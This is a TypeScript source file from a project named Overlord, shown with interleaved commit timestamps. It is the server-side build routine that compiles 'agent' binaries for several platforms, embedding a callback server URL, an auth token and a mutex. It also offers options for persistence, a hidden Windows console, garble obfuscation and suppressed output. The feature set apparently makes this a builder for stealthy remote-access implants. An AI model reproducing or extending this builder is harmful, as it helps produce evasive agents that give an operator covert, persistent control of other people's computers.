2026-03-05 00:04:26 -06:00
import { $ } from "bun" ;
import path from "path" ;
import fs from "fs" ;
import { saveBuild } from "../db" ;
import { logger } from "../logger" ;
import { getConfig } from "../config" ;
2026-03-08 03:07:23 -05:00
import { ensureDataDir } from "../paths" ;
2026-03-05 00:04:26 -06:00
import * as buildManager from "../build/buildManager" ;
import type { BuildStream } from "../build/types" ;
import { ALLOWED_PLATFORMS } from "./validation-constants" ;
import { resolveRuntimeRoot } from "./runtime-paths" ;
2026-03-06 13:31:34 -06:00
function isClientModuleDir ( dir : string ) : boolean {
return (
fs . existsSync ( path . join ( dir , "go.mod" )) &&
fs . existsSync ( path . join ( dir , "cmd" , "agent" ))
);
}
function resolveClientModuleDir ( rootDir : string ) : string | null {
const candidates = [
path . join ( rootDir , "Overlord-Client" ),
path . join ( rootDir , ".." , "Overlord-Client" ),
2026-03-12 00:29:25 -05:00
path . join ( rootDir , "dist" , "Overlord-Client" ),
path . join ( rootDir , "dist" , "Overlord-Client" , "Overlord-Client" ),
2026-03-06 13:31:34 -06:00
];
for ( const dir of candidates ) {
if ( isClientModuleDir ( dir )) {
return dir ;
}
}
return null ;
}
2026-03-08 03:07:23 -05:00
function resolveClientBuildCacheRoot () : string {
const explicit = process . env . OVERLORD_CLIENT_BUILD_CACHE_DIR ? . trim ();
if ( explicit ) {
return path . resolve ( explicit );
}
// Keep UI build caches under persistent app data by default.
return path . resolve ( ensureDataDir (), "client-build-cache" );
}
2026-03-10 17:09:27 -05:00
function resolveAndroidNdkToolchainBin () : string | null {
const ndkHome = ( process . env . ANDROID_NDK_HOME || "/opt/android-ndk" ). trim ();
const hostArch = process . arch === "arm64" ? "linux-aarch64" : "linux-x86_64" ;
const toolchainBin = path . join ( ndkHome , "toolchains" , "llvm" , "prebuilt" , hostArch , "bin" );
return fs . existsSync ( toolchainBin ) ? toolchainBin : null ;
}
2026-03-05 00:04:26 -06:00
type BuildProcessConfig = {
platforms : string [];
serverUrl? : string ;
rawServerList? : boolean ;
mutex? : string ;
disableMutex? : boolean ;
stripDebug? : boolean ;
disableCgo? : boolean ;
obfuscate? : boolean ;
enablePersistence? : boolean ;
hideConsole? : boolean ;
noPrinting? : boolean ;
};
type BuildProcessDeps = {
generateBuildMutex : ( length? : number ) => string ;
sanitizeOutputName : ( name : string ) => string ;
};
export async function startBuildProcess (
buildId : string ,
config : BuildProcessConfig ,
deps : BuildProcessDeps ,
) : Promise < void > {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000 ;
2026-03-06 13:07:56 -06:00
const BUILD_STREAM_HEARTBEAT_MS = 15 _000 ;
2026-03-05 00:04:26 -06:00
const now = Date . now ();
const build : BuildStream = {
id : buildId ,
controllers : [],
status : "running" ,
startTime : now ,
expiresAt : now + SEVEN_DAYS_MS ,
files : [],
};
buildManager . addBuildStream ( buildId , build );
const sendToStream = ( data : any ) => {
const encoder = new TextEncoder ();
const message = `data: ${ JSON . stringify ( data ) } \ n \ n` ;
const encoded = encoder . encode ( message );
if ( data . type === "output" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ data . text . trimEnd () } ` );
} else if ( data . type === "status" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] STATUS: ${ data . text } ` );
} else if ( data . type === "error" ) {
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ERROR: ${ data . error } ` );
}
build . controllers . forEach (( controller ) => {
try {
controller . enqueue ( encoded );
} catch ( err ) {
logger . error ( "[build] Failed to send to stream:" , err );
}
});
};
2026-03-06 13:07:56 -06:00
const buildStartedAt = Date . now ();
const keepAliveTimer = setInterval (() => {
const elapsedMinutes = Math . floor (( Date . now () - buildStartedAt ) / 60 _000 );
sendToStream ({
type : "heartbeat" ,
elapsedMinutes ,
timestamp : Date.now (),
});
}, BUILD_STREAM_HEARTBEAT_MS );
2026-03-05 00:04:26 -06:00
try {
const serverConfig = getConfig ();
const buildAgentToken = ( serverConfig . auth . agentToken || "" ). trim ();
sendToStream ({ type : "status" , text : "Preparing build environment..." });
try {
const goCheck = await $ `go version` . quiet ();
const goVersion = goCheck . stdout . toString (). trim ();
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Using ${ goVersion } ` );
sendToStream ({ type : "output" , text : `Using ${ goVersion } \ n` , level : "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH." ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg } ` );
sendToStream ({ type : "output" , text : `ERROR: ${ errorMsg } \ n` , level : "error" });
sendToStream ({ type : "error" , error : errorMsg });
sendToStream ({ type : "complete" , success : false });
build . status = "failed" ;
return ;
}
const rootDir = resolveRuntimeRoot ();
2026-03-06 13:31:34 -06:00
const clientDir = resolveClientModuleDir ( rootDir );
if ( ! clientDir ) {
throw new Error (
`Overlord-Client source not found (missing go.mod). Checked: ${ path . join ( rootDir , "dist" , "Overlord-Client" ) } , ${ path . join ( rootDir , "Overlord-Client" ) } ` ,
);
}
2026-03-05 00:04:26 -06:00
const outDir = path . join ( rootDir , "dist-clients" );
2026-03-08 03:07:23 -05:00
const cacheRoot = resolveClientBuildCacheRoot ();
const goBuildCacheDir = path . join ( cacheRoot , "go-build" );
const goModCacheDir = path . join ( cacheRoot , "go-mod" );
2026-03-05 00:04:26 -06:00
await Bun . $ `mkdir -p ${ outDir } ` . quiet ();
2026-03-08 03:07:23 -05:00
fs . mkdirSync ( goBuildCacheDir , { recursive : true });
fs . mkdirSync ( goModCacheDir , { recursive : true });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "output" , text : `Build directory: ${ outDir } \ n` , level : "info" });
2026-03-06 13:31:34 -06:00
sendToStream ({ type : "output" , text : `Client source: ${ clientDir } \ n` , level : "info" });
2026-03-08 03:07:23 -05:00
sendToStream ({ type : "output" , text : `Client build cache: ${ cacheRoot } \ n` , level : "info" });
2026-03-05 00:04:26 -06:00
const platformsToBuild = ( config . platforms || []). filter (( p ) => ALLOWED_PLATFORMS . has ( p ));
if ( platformsToBuild . length !== ( config . platforms || []). length ) {
throw new Error ( "One or more requested platforms are not allowed" );
}
2026-03-10 18:27:45 -05:00
const hasAndroidTargets = platformsToBuild . some (( p ) => p . startsWith ( "android-" ));
const hasBsdTargets = platformsToBuild . some (
( p ) => p . startsWith ( "freebsd-" ) || p . startsWith ( "openbsd-" ),
);
if ( hasAndroidTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: Android targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
if ( hasBsdTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: BSD targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
2026-03-10 17:09:27 -05:00
const ndkBin = resolveAndroidNdkToolchainBin ();
if ( ! ndkBin && platformsToBuild . some (( p ) => p . startsWith ( "android-" ))) {
sendToStream ({
type : "output" ,
text : "Warning: Android NDK not found. Android builds require the NDK. Install it to /opt/android-ndk or set the ANDROID_NDK_HOME environment variable.\n" ,
level : "warn" ,
});
}
2026-03-05 00:04:26 -06:00
let buildMutex = "" ;
if ( ! config . disableMutex ) {
buildMutex = config . mutex || deps . generateBuildMutex ();
sendToStream ({ type : "output" , text : `Mutex: ${ buildMutex } \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : "Mutex: disabled\n" , level : "info" });
}
for ( const platform of platformsToBuild ) {
const [ os , arch , ... rest ] = platform . split ( "-" );
2026-03-10 15:38:50 -05:00
const goarm = arch === "armv7" ? "7" : undefined ;
2026-03-05 00:04:26 -06:00
const actualArch = goarm ? "arm" : arch ;
const outputName = deps . sanitizeOutputName (
platform . includes ( "windows" ) ? `agent- ${ platform } .exe` : `agent- ${ platform } ` ,
);
sendToStream ({ type : "status" , text : `Building ${ platform } ...` });
sendToStream ({ type : "output" , text : ` \ n=== Building ${ platform } === \ n` , level : "info" });
2026-03-06 13:31:48 -06:00
const env : NodeJS.ProcessEnv = {
2026-03-05 00:04:26 -06:00
... process . env ,
GOOS : os ,
GOARCH : actualArch ,
2026-03-06 12:43:42 -06:00
CGO_ENABLED : config.disableCgo === true ? "0" : "1" ,
2026-03-05 00:04:26 -06:00
GOWORK : "off" ,
2026-03-08 03:07:23 -05:00
GOCACHE : goBuildCacheDir ,
GOMODCACHE : goModCacheDir ,
2026-03-05 00:04:26 -06:00
...( goarm ? { GOARM : goarm } : {}),
};
2026-03-06 12:43:42 -06:00
if ( env . CGO_ENABLED === "1" ) {
const targetKey = ` ${ os } / ${ actualArch }${ goarm ? `/v ${ goarm } ` : "" } ` ;
const cCompilerByTarget : Record < string , string > = {
"linux/amd64" : "gcc" ,
"windows/amd64" : "x86_64-w64-mingw32-gcc" ,
"windows/386" : "i686-w64-mingw32-gcc" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cxxCompilerByTarget : Record < string , string > = {
"linux/amd64" : "g++" ,
"windows/amd64" : "x86_64-w64-mingw32-g++" ,
"windows/386" : "i686-w64-mingw32-g++" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang++" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang++" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang++" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cc = cCompilerByTarget [ targetKey ];
const cxx = cxxCompilerByTarget [ targetKey ];
if ( cc ) {
env . CC = cc ;
sendToStream ({ type : "output" , text : `CGO compiler: ${ cc } \ n` , level : "info" });
} else {
sendToStream ({
type : "output" ,
text : `CGO compiler not mapped for ${ targetKey } ; falling back to default compiler lookup \ n` ,
level : "warn" ,
});
}
if ( cxx ) {
env . CXX = cxx ;
}
2026-03-10 17:09:27 -05:00
if ( os === "android" && ndkBin ) {
env . AR = path . join ( ndkBin , "llvm-ar" );
}
2026-03-06 12:43:42 -06:00
}
2026-03-05 00:04:26 -06:00
let ldflags = config . stripDebug !== false ? "-s -w" : "" ;
if ( config . serverUrl ) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL= ${ config . serverUrl } ` ;
ldflags = ` ${ ldflags } ${ serverFlag } ` ;
sendToStream ({ type : "output" , text : `Server URL: ${ config . serverUrl } \ n` , level : "info" });
}
if ( config . rawServerList ) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ rawServerFlag } ` : rawServerFlag ;
sendToStream ({ type : "output" , text : "Raw server list: enabled\n" , level : "info" });
}
if ( buildMutex ) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex= ${ buildMutex } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ mutexFlag } ` : mutexFlag ;
}
if ( config . enablePersistence ) {
2026-03-10 17:22:39 -05:00
if ( ! platform . startsWith ( 'android-' )) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ persistenceFlag } ` : persistenceFlag ;
sendToStream ({ type : "output" , text : `Persistence enabled for ${ platform } \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : `Persistence is not supported on ${ platform } , skipping... \ n` , level : "warning" });
}
2026-03-05 00:04:26 -06:00
}
if ( buildAgentToken ) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken= ${ buildAgentToken } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ agentTokenFlag } ` : agentTokenFlag ;
}
if ( config . hideConsole && os === "windows" ) {
const hideConsoleFlag = "-H=windowsgui" ;
ldflags = ldflags ? ` ${ ldflags } ${ hideConsoleFlag } ` : hideConsoleFlag ;
sendToStream ({ type : "output" , text : "Windows console hidden (GUI subsystem)\n" , level : "info" });
}
if ( config . obfuscate ) {
sendToStream ({ type : "output" , text : "Obfuscation enabled (garble)\n" , level : "info" });
}
if ( config . noPrinting ) {
sendToStream ({ type : "output" , text : "Client printing disabled (noprint tag)\n" , level : "info" });
}
try {
const buildTool = config . obfuscate ? "garble" : "go" ;
const tagArg = config . noPrinting ? "-tags noprint " : "" ;
2026-03-09 01:09:51 -05:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Building: ${ buildTool } build ${ tagArg }${ ldflags ? `-ldflags=" ${ ldflags } " ` : "" } -o ${ outDir } / ${ outputName } ./cmd/agent` );
2026-03-06 12:43:42 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Environment: GOOS= ${ os } GOARCH= ${ actualArch } CGO_ENABLED= ${ env . CGO_ENABLED } CC= ${ env . CC || "<default>" } ` );
2026-03-07 18:15:01 -06:00
2026-03-05 00:04:26 -06:00
const buildCmd = config . obfuscate
? ( config . noPrinting
? ( ldflags
2026-03-09 01:09:51 -05:00
? $ `garble build -tags noprint -ldflags= ${ ldflags } -o ${ outDir } / ${ outputName } ./cmd/agent`
: $ `garble build -tags noprint -o ${ outDir } / ${ outputName } ./cmd/agent` )
2026-03-05 00:04:26 -06:00
: ( ldflags
2026-03-09 01:09:51 -05:00
? $ `garble build -ldflags= ${ ldflags } -o ${ outDir } / ${ outputName } ./cmd/agent`
: $ `garble build -o ${ outDir } / ${ outputName } ./cmd/agent` ))
2026-03-05 00:04:26 -06:00
: ( config . noPrinting
? ( ldflags
2026-03-09 01:09:51 -05:00
? $ `go build -tags noprint -ldflags= ${ ldflags } -o ${ outDir } / ${ outputName } ./cmd/agent`
: $ `go build -tags noprint -o ${ outDir } / ${ outputName } ./cmd/agent` )
2026-03-05 00:04:26 -06:00
: ( ldflags
2026-03-09 01:09:51 -05:00
? $ `go build -ldflags= ${ ldflags } -o ${ outDir } / ${ outputName } ./cmd/agent`
: $ `go build -o ${ outDir } / ${ outputName } ./cmd/agent` ));
2026-03-05 00:04:26 -06:00
const proc = buildCmd . env ( env ). cwd ( clientDir ). nothrow ();
2026-03-07 18:15:01 -06:00
let result : any ;
2026-03-07 18:44:24 -06:00
for await ( const line of proc . lines ()) {
const trimmed = line . trim ();
if ( trimmed . length > 0 ) {
2026-03-07 18:15:01 -06:00
sendToStream ({ type : "output" , text : line + "\n" , level : "info" });
}
2026-03-05 00:04:26 -06:00
}
2026-03-07 18:44:24 -06:00
result = await proc ;
2026-03-05 00:04:26 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Process exited with code: ${ result . exitCode } ` );
if ( result . exitCode !== 0 ) {
const stderrText = result . stderr . toString ();
if ( stderrText ) {
sendToStream ({ type : "output" , text : stderrText , level : "error" });
}
const errorMsg = `Build failed with exit code ${ result . exitCode } \ n` ;
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw new Error ( `Build failed for ${ platform } ` );
}
const filePath = ` ${ outDir } / ${ outputName } ` ;
const file = Bun . file ( filePath );
const size = file . size ;
( build . files as any []). push ({
name : outputName ,
filename : outputName ,
platform ,
size ,
});
} catch ( err : any ) {
2026-03-07 18:15:01 -06:00
const errorMsg = `[ERROR] Failed to build ${ platform } : ${ err . message || err } \ n` ;
2026-03-05 00:04:26 -06:00
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg . trim () } ` );
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw err ;
}
}
build . status = "completed" ;
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build completed successfully! Built ${ build . files . length } file(s)` );
2026-03-07 18:15:01 -06:00
sendToStream ({ type : "output" , text : ` \ n[OK] Build completed successfully! \ n` , level : "success" });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "complete" , success : true , files : build.files , buildId , expiresAt : build.expiresAt });
saveBuild ({
id : build.id ,
status : build.status ,
startTime : build.startTime ,
expiresAt : build.expiresAt ,
files : build.files as any ,
});
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up expired build` );
buildManager . deleteBuildStream ( buildId );
}, SEVEN_DAYS_MS );
} catch ( err : any ) {
build . status = "failed" ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build failed:` , err );
sendToStream ({ type : "error" , error : err.message || String ( err ) });
sendToStream ({ type : "complete" , success : false , buildId });
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up failed build stream` );
buildManager . deleteBuildStream ( buildId );
}, 60 * 60 * 1000 );
2026-03-06 13:07:56 -06:00
} finally {
clearInterval ( keepAliveTimer );
2026-03-05 00:04:26 -06:00
}
}